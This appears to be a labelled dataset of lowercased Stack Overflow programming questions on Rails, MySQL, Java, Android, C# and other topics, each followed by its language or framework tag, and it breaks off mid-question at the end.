how to ensure a rails f.check_box (not check_box_tag) is initially checked based on active record object attribute   having a heck of a time with this; i m convinced i m just not getting something completely obvious as i can t imagine this being this difficult intentionally. everything else works in my form  but upon initial display  the check boxes are not checked when they should be. here s the relevant erb:   <pre><code>&lt;%= form_for :project  :url=&gt;{:controller=&gt; projects   :action=&gt; update_permissions   :id=&gt;@project.id} do |f| %&gt; &lt;fieldset&gt;   &lt;% @project.contributors.each do |contributor| %&gt;   &lt;%= f.fields_for  contributors[#{contributor.id}]  do |c| %&gt;   &lt;ul id= permissionslist  class= permissions-grid in-line clearfix full &gt;   &lt;li&gt;     &lt;ul class =  clearfix permission-row &gt;     &lt;li class= first &gt;      &lt;%= c.check_box :is_active %&gt;&lt;label for= &lt;%= contributor.id %&gt; &gt;&lt;%= contributor.user.whole_name %&gt;&lt;/label&gt;      &lt;/li&gt;     &lt;% @roles.each do |role| %&gt;      &lt;li&gt;&lt;%= c.radio_button :role_id  role.id  :id=&gt; #{contributor.id}-#{role.id}  %&gt;&lt;%= label  #{contributor.id}-#{role.id}   role.role_name %&gt;&lt;/li&gt;     &lt;% end %&gt;     &lt;/ul&gt;    &lt;% end %&gt;   &lt;/li&gt;   &lt;/ul&gt;  &lt;% end %&gt; &lt;/fieldset&gt; </code></pre>   i m passing the is_checked attribute (for the current contributor) to the check_box helper. this is the proper way to do this correct  here s what the generated markup looks like:   <pre><code>&lt;ul class= clearfix permission-row &gt;     &lt;li class= first &gt;      &lt;input type= hidden  value= 0  name= project[contributors[9]][is_active] &gt;&lt;input type= checkbox  value= 1  name= project[contributors[9]][is_active]  id= project_contributors_9__is_active &gt;&lt;label for= 9 &gt;bill hatch&lt;/label&gt;      &lt;/li&gt;      &lt;li&gt;&lt;input type= radio  value= 1  name= project[contributors[9]][role_id]  id= 9-1  style= display: none; &gt;&lt;label for= 9-1_reviewer  style= display: none; &gt;reviewer&lt;/label&gt;&lt;/li&gt;      &lt;li&gt;&lt;input type= radio  value= 2  name= project[contributors[9]][role_id]  id= 9-2  style= display: none; &gt;&lt;label for= 9-2_tech. reviewer  style= display: none; &gt;tech. reviewer&lt;/label&gt;&lt;/li&gt;      &lt;li&gt;&lt;input type= radio  value= 3  name= project[contributors[9]][role_id]  id= 9-3  style= display: none; &gt;&lt;label for= 9-3_contributor  style= display: none; &gt;contributor&lt;/label&gt;&lt;/li&gt;     &lt;/ul&gt; </code></pre>   the value of the checkbox is 1  as it should be  so i m a little confused as to why it s not displaying as checked. like i said  i m sure i m just missing something obvious; no way can this be this hard;-),ruby-on-rails
how to get touch event on specified cgrectmake  i want to get touch event on uiimageview with specified location only.   <pre><code>uitouch *touch=[touches anyobject]; cgpoint currentpoint=[touch locationinview:cgrectmake(0 0 100 100)]; </code></pre>   cgrectmake(0 0 100 100) in the specific location i need touche event  is it possible. what to do     thanks in advance.,iphone
hard time understanding this code for a numerology program <pre><code>private int sumcharvalues (string input) {      string total = input.tolowercase();     int result = 0;      for (int i = 0  n = total.length(); i &lt; n; i++) {          char c = total.charat(i);         result += (c -  a  + 1);     }      return result; } </code></pre>   i m trying to understand this code. what does the <code>result += (c -  a  + 1)</code> means     any help would be very much appreciated.,java
ruby on rails: cannot show controller#action view  i am trying to show my view (posts/index.html.erb) but it is not showing up.     my routes.rb:   <pre><code>rails.application.routes.draw do resources :posts devise_for :users root  posts#index  end </code></pre>   even if i try manually localhost:3000/posts/index it is not being loaded.    it just shows the default (layouts/application.html.erb):    {a bootstrap starter template complete with pre-defined file paths that you won t have to change!! bootstrap v3.3.7 jquery v1.11.1}    the (posts/index.html.erb) should display this:   <pre><code>&lt;h1&gt;posts#index&lt;/h1&gt; &lt;p&gt;find me in app/views/posts/index.html.erb&lt;/p&gt; </code></pre>   any ideas what i am missing  i have done other applications in rails also and compared the code with this application but i cant find out what s wrong.    thankful for any help!    best regards  conan,ruby-on-rails
.net method attributes  i need to call some code before calling methods that decorated by attribute [mytracedmethod] and after.    can i do this by .net method atributes,.net
consults with subqueries and use of regexp  i am trying to identify users that can receive medicines produce interactions. for that  i have used this code:   <pre><code>select c.user  count(distinct c.user)  from mytable as c   join (select id_beneficiario  mes         from mytable         where codigo_atc regexp  c01bd01|n06aa09|j01fa10|j01ma02|j01fa09|n05ah02|l01xe06|r06aa02|a03fa03|         l04aa27|j02ac01|n06ab03|c03ca01|n05ad01|c03aa03|j02ab02|j01ma12|n05an01|j01xd01|j05ae04|l01xe08|         n05ah03|n05ah04|n05ax08|j05ae03|j05ae01|c07aa07|l04ad02|m03bx02|n06ax05|j01ee03 ) as d on c.user = d.user and c.mes = d.mes where (c.codigo_atc regexp  c01bd01|n06aa09|j01fa10|j01ma02|j01fa09|n05ah02|l01xe06|r06aa02|a03fa03|         l04aa27|j02ac01|n06ab03|c03ca01|n05ad01|c03aa03|j02ab02|j01ma12|n05an01|j01xd01|j05ae04|l01xe08|         n05ah03|n05ah04|n05ax08|j05ae03|j05ae01|c07aa07|l04ad02|m03bx02|n06ax05|j01ee03 ) group by c.user; </code></pre>   i am working local and the consult take too much time and apper the next error: error code: 2013. lost conection to mysql server during query. would be possible optimize my code to avoid the error,mysql
nsnumber : numberwith n initwith  is there any difference     [nsnumber numberwithinteger:  ]    [nsnumber initwithineger:   ],objective-c
data to display from 2 different table  i have 2 different tables in my database.    for eg; in table 1  named <code>table1</code>   it has the following data:   <pre><code>||===============================|| || id            |       date    || =================================== || 1             |      2nd jan  || =================================== || 2             |      4th apr  || =================================== </code></pre>   and lets say in table 2  named <code>table2</code>  it has the following data:   <pre><code>||===============================|| || id            |       name    || =================================== || 1             |       john    || =================================== || 2             |       pam     || =================================== </code></pre>   now  both these table s <strong>(id) is not the same</strong>.     what i want to display is:   <pre><code>||===============================||===============================|| || id            |       name    ||        id      |   date       || ==================================================================== || 1             |       john    ||         null   |   null       ||  ==================================================================== || 2             |       pam     ||         null   |   null       || ==================================================================== || null          |       null    ||          1    |    2nd jan    || ==================================================================== || null          |       null    ||          2    |    4th apr    || ==================================================================== </code></pre>   so what i tried these mysql statements:    <code>select a.id  a.date  b.id  b.name from table1 a  table2 b</code>    but this doesn t give me  the correct display  it combines the result.    i also tried <code>left join</code>  it also combines the results.    what am i doing wrong  please help me.    thanks for reading.,mysql
findcontrol issue  i am having an issue finding a few controls. they are in a formview.   <pre><code>&lt;asp:panel id= panel5  runat= server &gt;                 &lt;table cellpadding= 3  cellspacing= 2  class= forminnertable &gt;                     &lt;tr&gt;                         &lt;td&gt;                                 &lt;asp:updatepanel id= updatepanel4  runat= server &gt;                                 &lt;triggers &gt;                                     &lt;asp:asyncpostbacktrigger controlid= button1  eventname= click  /&gt;                                     &lt;asp:asyncpostbacktrigger controlid= bttnsavee  eventname= click  /&gt;                                 &lt;/triggers&gt;                             &lt;contenttemplate&gt;                                 &lt;asp:hiddenfield id= hidvendor  runat= server  /&gt;                         &lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;td&gt;                                     &lt;asp:formview id =  fvedit  defaultmode =  edit  runat =  server                                       datasourceid= sqldatasource5 &gt;                                     &lt;edititemtemplate&gt;                                         &lt;table&gt;                                             &lt;tr&gt;                                                 &lt;td align= center  colspan =  2 &gt;                                                     &lt;font color= blue  size= medium &gt;                                                     &lt;asp:label id= label11  runat= server  text= &lt;%# bind( data ) %&gt; &gt;&lt;/asp:label&gt;(                                                     &lt;asp:label id= textbox3  forecolor =  blue  runat= server  text= &lt;%# bind( data ) %&gt; &gt;&lt;/asp:label&gt;)                                                     &lt;/font&gt;                                                     &lt;br /&gt;&lt;br&gt;                                                 &lt;/td&gt;                                             &lt;/tr&gt;                                             &lt;tr align= left &gt;                                         &lt;td align= right &gt;                                             &lt;asp:label id= label2  runat= server  text= as2 id:  &gt;&lt;/asp:label&gt;                                         &lt;/td&gt;                                         &lt;td align= left &gt;                                             &lt;asp:textbox id= txtas2ide  runat= server  maxlength =  30  text= &lt;%# bind( data ) %&gt; &gt;&lt;/asp:textbox&gt;                                             &lt;asp:requiredfieldvalidator                                             id= rfve   display= dynamic  controltovalidate =  txtas2ide  runat= server  errormessage= you must insert a production as2 identifier. &gt; &lt;/asp:requiredfieldvalidator&gt;                                              &lt;ajaxtoolkit:validatorcalloutextender id= validatorcalloutextender1e  targetcontrolid= rfve  highlightcssclass= validatorcallouthighlight  runat= server &gt;                                              &lt;/ajaxtoolkit:validatorcalloutextender&gt;                                         &lt;/td&gt; </code></pre>   **i want access to all those controls in fvedit ** in the code behind i have access to fvedit  but i noticed that the controls count for this formview is only one when there are many controls in it.    how can i get access to those controls in code,asp.net
backtracking  variables in python del function  the <code>del</code> statement in python  when applied to a list  does something very strange. it not only deletes the entry in the list in question  but also  backtracks  to delete the same element in whatever list the variable was derived from.    for instance:   <pre><code>&gt;&gt;&gt; x [1  2  3  4  5] &gt;&gt;&gt; z=x &gt;&gt;&gt; del z[1] &gt;&gt;&gt; z [1  3  4  5] &gt;&gt;&gt; x [1  3  4  5] </code></pre>   in other words  even though i apply delete to <code>z</code>  the deletion is also applied to <code>x</code>. this  backtracking  doesn t come up with any other commands or functions  e.g.   <pre><code>&gt;&gt;&gt; x=[1 2 3 4 5] &gt;&gt;&gt; z=x &gt;&gt;&gt; z+[6] [1  2  3  4  5  6] &gt;&gt;&gt; x [1  2  3  4  5] </code></pre>   applying the add function to z leaves x unaffected  as it very well should.    this is causing me all sorts of headaches with the delete  na  scrip that i m working on. do you know what s going on with the <code>del</code> statement  and how can i get around this problem so that if i set <code>z=x</code> and then apply del to <code>z</code>  <code>x</code> remains unchanged,python
mysql upgrade from 5.1 to 5.5  i am planing to uninstall mysql 5.1 &amp; then install mysql 5.6  over it. but on official website of mysql   it is showing that slave should be updated before master. but we are having replication from both ends   means master-master replication is configured  so which server to upgrade first   what approach should be followed to upgrade both the servers       and whether their will be any problem in tables   replication   indexes of mysql 5.1    if mysql is upgraded from 5.1 to 5.5.,mysql
finding dates of different format in text with javascript  i ve a bunch of paragraph  which have dates in it in different format. for example:  american soldiers in combat at the battle of long island  1 may  1776 after regrouping at halifax  william howe determined to take the fight to the americans.[139] he set sail in 5 june 1776 and began landing troops on staten island near the entrance to new york harbor on july 2 1949. due to poor military intelligence  washington split his army to positions on manhattan island and across the east river in western long island [140] and an informal attempt to negotiate peace was rejected by the americans.[141] on 06 august 27  howe outflanked washington and forced him back to brooklyn heights 02-03-2019. howe restrained 01/02/2012 his subordinates from pursuit  opting to besiege 02/03/2014  washington instead.[142]     in the example paragraph  there are some dates like    1 may  1776     5 june 1776    july 2 1949    01/02/2012    02/03/2014    02-03-2019    i need to extract those dates from this paragraph. i found that there s a python package doing something like this : <a href= https://github.com/akoumjian/datefinder  rel= nofollow noreferrer >datefinder</a> hope anyone can help me there a bit  or please tell is there any other way achieve it. thanks in advace,javascript
how can i use found face coordinate(core image) <pre><code>    uiimage* image = [uiimage imagenamed:@  face.png  ];       uiimageview testimage = [[uiimageview alloc] initwithimage: image];       [testimage settransform:cgaffinetransformmakescale(1  -1)];       [[[uiapplication sharedapplication] delegate].window settransform:   cgaffinetransformmakescale(1  -1)];       [testimage setframe:cgrectmake(0  0  testimage.image.size.width    testimage.image.size.height)];       [self.view addsubview:testimage];        ciimage* ciimage = [ciimage imagewithcgimage:imag​​e.cgimage];       nsdictionary* opts = [nsdictionary dictionarywithobject:   cidetectoraccuracyhigh forkey:cidetectoraccuracy];       cidetector* detector = [cidetector detectoroftype:cidetectortypeface   context:nil options:opts];       nsarray* features = [detector featuresinimage:ciimage];        for  (cifacefeature *facefeature in features)     {            cgfloat facewidth = facefeature.bounds.size.width;            uiview* faceview = [[uiview alloc] initwithframe:facefeature.bounds];                              faceview.layer.borderwidth = 1;           faceview.layer.bordercolor = [[uicolor redcolor] cgcolor];            [self.view addsubview:faceview];               }   </code></pre>   how can i found the face coordinate     i try to use <code>facefeature.bounds.origin.x</code> and <code>facefeature.bounds.origin.y</code>    but sometimes   it is not the correct coordinate    how can i found coordinate     ------------------2016/04/10------------------ this is my problem ios x y is opposite than c#,ios
using readpassword() method <pre><code> import java.io.*;    class readpasswordtest    {       public static void main(string args[])     {        console c=system.console();        system.out.println( enter password:  );        char[] ch=c.readpassword();        string pass=string.valueof(ch);//converting char array into string        system.out.println( password is:  +pass);       }      }   </code></pre>   my question is...why can t i directly store my password from the console in a string and display it directly...instead of storing it in a char array..converting it into a string and displaying it.when i do the latter way i get some special characters displaying.,java
loop in sql query  basically i want to extract <code>id</code> from a table and insert that <code>id</code> in another table with some other data. so the algorythm goes:   <pre><code>foreach id in (select id from table) {     insert into table2 values (id etc etc); } </code></pre>   how to perform this function with an sql query,sql
how to make an input form for an immediately used variable  i have a  new  page with a form to create new students.  at the top of the page  i d like to include a form that says  how many students do you have   and lets the user enter it as <code>number_of_students</code> - this variable would then be passed to the form - something like    <pre><code>#{number_of_students}.times do    &lt;%= form_for([@student_group  @student]) do |f| %&gt;   ...   &lt;% end %&gt; &lt;% end %&gt;` </code></pre>   how can i make the form_for number_of_students to be used in the same page       <strong>edit</strong>:     i used georgebrock s advice and did the following:      first i made <code>howmany.rb</code> like so:   <pre><code>class howmany   include activemodel::model   attr_accessor :number_of_things    is_a_number = %q(1..1000)    validates :number_of_things  presence:  true                                 inclusion: {:in =&gt; is_a_number                                             :message =  %{value} is not a valid number of students  } end </code></pre>   i made the changes in case i want to use this model for other situations - it s just a bit more general this way.  in my controller  i did this:    <pre><code>def new   @student = @student_group.students.build   @how_many = howmany.new   @title =  add a student  end </code></pre>   and in the  new  view i have the following:    <pre><code>&lt;p&gt; use the form below to add your students.  &lt;/p&gt;  &lt;p&gt; first  how many students do you have in &lt;%=  #{@student_group.name}  %&gt;    &lt;/p&gt; &lt;p&gt;   &lt;%= form_for @how_many  url: request.fullpath do |form| %&gt;     &lt;%= form.text_field :number_of_things %&gt;   &lt;% end %&gt; &lt;/p&gt; </code></pre>   however  i m getting the following error: <code>uninitialized constant studentscontroller::howmany</code>,ruby-on-rails
python: one liner for summing up elements in a list meeting a condition  how can i write this code python in one line    <pre><code>num_positive_weights = 0 for i in  weights[ value ]:     if i &gt;= 0:         num_positive_weights+=1 </code></pre>,python
how to refresh the parent page while opening the overlay-dialog as child window in jquery  parent page:1.jsp   <pre><code>    &lt;html&gt;     &lt;head&gt;     &lt;script language= javascript &gt;                 function openoverlaydialog(url  label  width  height)              {              $( #dialogiframe ).attr( src   url);                 $( #overlay-dialog ).dialog(                  {                    enter code here autoopen: false                      modal: true                      width: width                      height: height                      title: label                      close: function () {                         $( #dialogiframe ).attr( src     );                     }                 });                 $( #overlay-dialog ).dialog( open );             }       function refreshsubmit()         {           document.refreshform.submit();         }   function submitaddform()       {         openoverlaydialog( 2.jsp    addserver    500    260 );       }         &lt;/script&gt;      &lt;/head&gt;     &lt;body&gt; &lt;input type= hidden  name= server  value= machinename &gt; &lt;input type= button  value= submit  onclick= javascript:submitaddform()  &gt;      &lt;form name= refreshform  action= servers.do &gt;&lt;/form&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   child page: 2.jsp   <pre><code>  &lt;html&gt;     &lt;head&gt;        &lt;script language= javascript &gt;             function refreshparent()               {              parent.refreshsubmit();               }             &lt;/script&gt;           &lt;/head&gt;           &lt;body bgcolor= #ffffff  text= #000000  onload= javascript:refreshparent()  topmargin= 0  leftmargin= 0  marginheight= 0  marginwidth= 0 &gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   i am opening the overlay dialog(child window) by calling openoverlaydialog function as shown in 1.jsp.in html body of the child page(2.jsp)  i had written  onload=refreshparent() for refreshing the parent page.but the problem is child window(overlay dialog) is getting closed when it is refreshing the parent page.can anyone please suggest  how to refresh parent page without closing overlay dialog(child window) in jquery,jquery
how to `inject` `$window` object to the `config` in angularjs  i am trying to inject the <code>$window</code> object into the <code>config</code> method in angularjs  but i keep getting an error...    what is the correct way to do this     here is my code :   <pre><code>angular.module( myapp   [ $window ]) //is this wrong     .config(function ($window) { //this is not the way        console.log($window); //console.log fails //error   })    .controller( main   function($scope) {     $scope.index = 0;     $scope.num = number[$scope.index];     $scope.increase = function () {      $scope.index += 1;      $scope.num = number[$scope.index];    } }) </code></pre>   <a href= http://plnkr.co/edit/3jemdygcc18itxkzp3th p=preview  rel= nofollow noreferrer >live demo</a>,angularjs
how do i bring my activity to the front using broadcastreceiver onreceive()   all of this has to do with my own app.    i have two cases. first  my activity is on top  and everything works fine. my service broadcasts info and my activity updates its gui.    my problem is that i don t know how to bring my activity to the front if its not already there. ideally  all the activities in front of it would be closed and this one be brought to the front. how do i do this    <pre><code>broadcastreceiver = new broadcastreceiver() {         @override         public void onreceive(context context  intent intent) {             //what code do i put here to bring this activity to the front and close all other activities on top of it          }     }; </code></pre>   here is how i solved the problem with the help of the post bellow.   <pre><code>            intent i = new intent();             i.setflags(intent.flag_activity_single_top | intent.flag_activity_clear_top);             i.setclass(myclass.this  myclass.class);             startactivity(i); </code></pre>,android
how do i represent this query in one sql line   i have a table of  messages . each message has a time stamp. is there an sql way to ask the following      select all messages from the message table only if one or more of them is older than ten minutes     i.e if no messages are older than ten minutes i want no results. if any are older than ten minutes i want all the results.     is that when possible in a single query     thanks!,sql
i did a simple irc bot how can i send a message to the channel after joined a channel   this is the code :   <pre><code>private void connecttoirc()         {             //connect to irc server and get input and output text streams from tcpclient.             nick = textbox1.text;             owner = textbox2.text;             server = textbox3.text;             port = convert.toint32(textbox4.text);             chan =  #  + textbox5.text;             sock.connect(server  port);//server  port);              richtextbox1.invoke((methodinvoker)delegate             {                 colortext.appendtext(richtextbox1   server:    color.green);                 colortext.appendtext(richtextbox1  server+              color.red);                 colortext.appendtext(richtextbox1   port:    color.green);                 colortext.appendtext(richtextbox1  port.tostring() + environment.newline + environment.newline  color.red);             });             if (!sock.connected)             {                 console.writeline( failed to connect! );                 return;             }             input = new system.io.streamreader(sock.getstream());             output = new system.io.streamwriter(sock.getstream());               //starting user and nick login commands           output.write(              user   + nick +   0 * :  + owner +  \r\n  +              nick   + nick +  \r\n           );          output.flush();           //process each line received from irc server          //buf = input.readline();          while ((buf = input.readline()) != null)          {              buf = buf + environment.newline;              //display received irc message              //console.writeline(buf);              richtextbox1.invoke((methodinvoker)delegate              {                  colortext.appendtext(richtextbox1  buf color.black);              });              if (buf.startswith( error )) break;               //send pong reply to any ping messages              if (buf.startswith( ping  )) { output.write(buf.replace( ping    pong ) +  \r\n ); output.flush(); }              if (buf[0] !=  : ) continue;               //after server sends 001 command  we can set mode to bot and join a channel              if (buf.split(   )[1] ==  001 )              {                  output.write(                     mode   + nick +   +b\r\n  +                     join   + chan +  \r\n  +  privmsg   + chan +   :hello                   );                  output.flush();              }              buf = input.readline();          }         } </code></pre>   i added this part to the code: +  privmsg   + chan +   :hello  but it does nothing i dont see any  hello  in the channel.    i used the example in this site :    <a href= http://jakash3.wordpress.com/2012/02/13/simple-vb-net-and-csharp-irc-client/  rel= nofollow >http://jakash3.wordpress.com/2012/02/13/simple-vb-net-and-csharp-irc-client/</a>    the c# example.    how can i send a message to the channel after joined one   i want to send one message and if its working next step is to add messages in queue and they will be send automatic one by one.    how can i do it,c#
initialize array with default value  i was looking at <a href= https://stackoverflow.com/a/19286846 >this answer</a> and i ve stumbled upon the need of array.apply to fill array:   <pre><code>var array = array.apply(null  array(5)).map(function() { return 0; }); </code></pre>   i ve checked and this won t actually work:   <pre><code>var array = array(5).map(function() { return 0; }); </code></pre>   i know i could do   <pre><code>var array = array(5).fill(0); </code></pre>   to obtain same result as the first method  i m just wondering why it needs array.apply with null as parameter.,javascript
microsoft.ace.oledb.12.0  provider is not registered on the local machine  i am trying to upload some excel file data in my application. from my local system (windows 7) my code is working fine. but after hosting in server (2003)  when i am trying to upload a file (.xlsx) i am getting an error - system.invalidoperationexception: the  microsoft.ace.oledb.12.0  provider is not registered on the local machine.     my code :    <pre><code>         try          {              string connectionstring =   ;              if (fuupload.hasfile)              {                                     string filename =  _uploadtemp ;                  string fileextension = path.getextension(fuupload.postedfile.filename);                  string filelocation = httpcontext.current.server.mappath( ~/fileupload/  + filename + fileextension);                  fuupload.saveas(filelocation);                   lbl1.text =  file saved ;                   //check whether file extension is xls or xslx                   if (fileextension ==  .xls )                  {                      connectionstring =  provider=microsoft.jet.oledb.4.0;data source=  + filelocation +  ;extended properties=\ excel 8.0;hdr=yes;imex=2\  ;                  }                  else if (fileextension ==  .xlsx )                  {                      connectionstring =  provider=microsoft.ace.oledb.12.0;data source=  + filelocation +  ;extended properties=\ excel 12.0;hdr=yes;imex=2\  ;                  }                  lbcon.text = connectionstring;                  //  create oledb connection and oledb command                   oledbconnection con = new oledbconnection(connectionstring);                  oledbcommand cmd = new oledbcommand();                  cmd.commandtype = system.data.commandtype.text;                  cmd.connection = con;                  oledbdataadapter dadapter = new oledbdataadapter(cmd);                  datatable dtexcelrecords = new datatable();                    con.open();                   lbl2.text =  connection open ;                   //dataset dtexcelsheetname=con.getoledbschematable(oledbdataadapter.defaultsourcetablename null);                  datatable dtexcelsheetname = con.getoledbschematable(oledbschemaguid.tables  null);                  string getexcelsheetname = dtexcelsheetname.rows[0][ table_name ].tostring();                  cmd.commandtext =  select * from [  + getexcelsheetname +  ] ;                  dadapter.selectcommand = cmd;                  dadapter.fill(dtexcelrecords);                  // dtexcelrecords = removeduplicate(dtexcelrecords   nodc_wwid );                  con.close();                  lbl3.text =  connection closed ;                  datatable dttemp = new datatable();                  dttemp.columns.add( sodc_people_name   typeof(string));                  dttemp.columns.add( vemailid   typeof(string));                  dttemp.columns.add( nodc_wwid   typeof(int));                  dttemp.columns.add( vpnaccess   typeof(string));//                  dttemp.columns.add( details   typeof(string));                    for (int i = 0; i &lt; dtexcelrecords.rows.count; i++)                  {                       dttemp.rows.add(dtexcelrecords.rows[i][0].tostring()  dtexcelrecords.rows[i][1].tostring()                       dtexcelrecords.rows[i][2].tostring()  dtexcelrecords.rows[i][3].tostring()  dtexcelrecords.rows[i][4].tostring());                  }                   session.add( dttemp   dttemp);//created temp session to store the excel data                   lbl4.text =  data added to temp table ;                    if (dttemp.rows.count &lt;= 0)                  {                      gvmain.datasource = mailutility.gettempdatasetx( sodc_people_name    vemailid    nodc_wwid    vpnaccess    details );                      gvmain.databind();                      gvmain.rows[0].visible = false;                   }                  else                  {                       gvmain.datasource = dttemp;                      gvmain.databind();                      lnkconfirm.visible = true;                      lnkcancelc.visible = true;                      pnllegend.visible = true;                      pnllagendtext.visible = true;                      mpx.show();                      lbl5.text =  grid binded ;                      foreach (gridviewrow gvr in gvmain.rows)                      {                          checkbox chkselect = gvmain.rows[gvr.rowindex].cells[0].findcontrol( chkselect ) as checkbox;                          label lblnamex = gvmain.rows[gvr.rowindex].cells[1].findcontrol( lblnamex ) as label;                          label lblemailidx = gvmain.rows[gvr.rowindex].cells[2].findcontrol( lblemailidx ) as label;                          label lblwwidx = gvmain.rows[gvr.rowindex].cells[3].findcontrol( lblwwidx ) as label;                           if (lblnamex.text !=    &amp;&amp; isvalidemail(lblemailidx.text) == true &amp;&amp; validwwid(lblwwidx.text) == true)                          {                              chkselect.checked = true;                          }                          else                          {                              chkselect.checked = false;                              chkselect.enabled = false;                              gvr.backcolor = system.drawing.color.yellow;                          }                          //check for duplicate wwid                          for (int i = 0; i &lt; dttemp.rows.count; i++)                          {                              if (i != gvr.rowindex)                              {                                  if (dttemp.rows[i][ nodc_wwid ].tostring() == lblwwidx.text)                                  {                                      chkselect.checked = false;                                      chkselect.enabled = false;                                      gvr.backcolor = system.drawing.color.yellow;                                  }                              }                          }                      }                    }               }          }          catch (exception es)          {              lbexception.text = es.tostring();          } </code></pre>   please some one help me.    gulrej,asp.net
casting an object to its lowest class  is there a way to cast an object to its  lowest  class  in my case   arc  and  line  extend  curve . i want to save both in an arraylist and then do something with them  depending on what class it is. this example outputs  curve    curve  but i want it to be  arc    line . thanks for your help!   <pre><code>public class test4 {  public static void main(string[] args) {     arraylist&lt;curve&gt; curves = new arraylist&lt;&gt;();     arc arc = new arc(new point(0  0  0)  0  0  0);     line line = new line(new point(0  0  0)  new point(1  0  0));     curves.add(arc);     curves.add(line);      for (curve i : curves) {         test(i);     } }  public static void test(line l) {     system.out.println( line ); }  public static void test(arc a) {     system.out.println( arc ); }  public static void test(curve c) {     system.out.println( curve ); } } </code></pre>   edit: thank you for your answers! it works so far  but my problem is a little more complicated. what i want to do is find the intersection point(s) of two geometrical objects (so line - arc  line - line  line - circle etc.)   <pre><code>public class line{     //constructor and other methods public point[] intersection(circle circle) {     //some code }  public point[] intersection(line line) {     //some code }  public point[] intersection(lineseg s) {     //some code } } </code></pre>   i want to access these methods with <code>curve</code> objects  so in <code>abstract class curve</code> there is a method <code>intersection (curve)</code>. when i call this method it returns an empty array  because it called the method from <code>curve</code> class. how can i tell java to use the methods from classes arc  line etc and not from curve    <pre><code>public abstract class curve {  public point[] intersection(curve c) {     return new point[] {}; } } </code></pre>,java
rails - redirect to show page passing a parameter  i want to redirect from my <code>currencies</code> controller to my <code>markets</code> controller  passing the current currency as a parameter(the market <code>has_many</code> currencies). i want to do something like this:   <pre><code>  redirect_to markets_show_url(id: @currency.market.id  currency: @currency) </code></pre>   how can this be done correctly,ruby-on-rails
send string from iphone <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3499663/sending-post-data-from-iphone >sending post data from iphone</a>    </blockquote>     hello everyone  i m a new member of the forum and browsing the web i found what was right for me  or rather being a novice i did not understand what poker was.    what i m trying to do is go to my iphone from a string php server  example: site.com/site.php val1=1&amp;val2=2 and that the server will recognize it and give me back a xml  but one thing at a time how do i send the string to the server by pressing a button ibaction,iphone
java error  error: cannot find symbol   i am in the process of learning java. below is the program that i ve been trying to compile  but cannot figure out why  x  in line 38 provides the following error:  cannot find symbol . any help would be greatly appreciated.    <pre><code>import java.util.scanner;  class metropolis_hw2_7 {     static int count = 0;      public static void main(string[] args) {         double a = 0.;         double b = math.pi;         scanner sc = new scanner(system.in);         while (true) {             system.out.println(  number of bins  );             int nbin = sc.nextint();             if (nbin &lt; 1)                 system.exit(0);             double[] bin = new double[nbin];             system.out.println(  number of histories to run  );             int n = sc.nextint();             double dx = (b - a) / nbin;             for (int i = 0; i &lt; n; i++) {                 if (count == 0) {                     double squiggle1 = math.pi * math.random();                     double squiggle2 = math.pi * math.random();                     double y_1 = 2 * squiggle1 + math.sin(squiggle1);                     double y_2 = 2 * squiggle2 + math.sin(squiggle2);                     if (y_2 &lt; y_1) {                         squiggle1 = squiggle2;                         double x = squiggle2;                     } else {                         squiggle1 = squiggle1;                         double x = squiggle2 / squiggle1;                     }                     count++;                 } else {                     double squiggle1;                     double x = sample(squiggle1);                 }                 int binnumber = (int) ((x - a) / dx);                 bin[binnumber] += 1.;             }             double x = a - dx / 2.;             for (int i = 0; i &lt; nbin; i++) {                 x += dx;                 bin[i] /= n * dx;                 system.out.printf(  bin %1$5d sample for x = %2$7.5f is %3$7.5f vs %4$7.5f ratio (%5$f) \n   i  x  bin[i]  pdf(x)  bin[i] / pdf(x));             }         }     }      static double sample(double squiggle1) {         double squiggle2 = math.pi * math.random();         double y_1 = 2 * squiggle1 + math.sin(squiggle1);         double y_2 = 2 * squiggle2 + math.sin(squiggle2);         if (y_2 &lt; y_1) {             squiggle1 = squiggle2;             return squiggle2;         } else {             squiggle1 = squiggle1;             return squiggle2 / squiggle1;         }         count++;     }      static double pdf(double x) {         return (2 * x + math.sin(x)) / (math.pow(math.pi  2) + 2);     } } </code></pre>,java
android how to set the phone alarm through code  i want to set the alram for phone through program coding. i have an button where by clicking datepicker come &amp; also time picker. i want what time i set here that time should be set in phones alaram. how can i do that . plz give me the answer . thank you,android
webview.reload in background xcode 8.2 swift 3  happy new year to all.    is it possible to make a <code>uiwebview.reload</code> if my app is running in background  i have a timer with interval 20 seconds an random number 0-n + function that make <code>number = number + 20</code>. if number > random number then <code>webview.reload</code>. this works good on ios 10.2 in simulator i press home button and lock. but it will not working on my device iphone 6 ios 10.2. is it possible to make <code>webview.reloading</code> in background  sorry my english is not good.  in my project settings capability background is on and i check background fetch,ios
conflict type error previous declaration ___ was here <pre><code>#define trip 6 #include &lt;stdio.h&gt;  char error_area(char area_code  char s  char m  char l  char n  char p  char k  char r  char c  char u  char w  char o  char t  char f);  int main(void) {   char area_code  s  m  l  n  p  k  r  c  u  w  o  t  f  checkb  travelarea[trip];    printf( please select from the following that best describes your destination:\n );   /*area code input*/   printf( s small city - population under 50 000\n );                                   /*choices for area code*/    printf( m medium city - population between 50 000 and 500 000\n );   printf( l large city - pop. over 500 000\n );   printf( n natural formation like a mountain  a lake  a cave  a geyser  a fjord  a canyon  etc.\n );   printf( p designated park or reserve such as a wildlife refuge  a national park  a bioreserve  or a protected marine area\n );   printf( k man made landmark like the great wall of china  the taj mahal  or stonehenge\n );   printf( r state or province or region of a country\n );   printf( c whole country\n );   printf( u multiple countries like traveling through europe\n );   printf( w ocean voyage\n );   printf( o any other type of destination - such as visiting the sites of the seven wonders of the world\n );   printf( please enter the area letter code: );   scanf( %c   &amp;area_code);       checkb = error_area(area_code  s  m  l  n  p  k  r  c  u  w  o  t  f);   while (checkb == f)                              /*error loop for error area code*/     {       printf( please re-enter a valid area_code: );       scanf( %c   &amp;area_code);       checkb = error_area(area_code  s  m  l  n  p  k  r  c  u  w  o  t  f);       if (checkb == t)     {travelarea[0]=area_code;}     }   }      error_area(area_code  s  m  l  n  p  k  r  c  u  w  o  t  f)   /*area code error check*/ {    if ( (area_code == s) || (area_code == m) || (area_code == l) ||(area_code == n) ||(area_code == p) ||(area_code == k) || (area_code == r) ||(area_code == c) || (area_code == u) || (area_code == w) || (area_code == o))     {       return t;     }   else     {       printf( area code is invalid. (please make sure code is 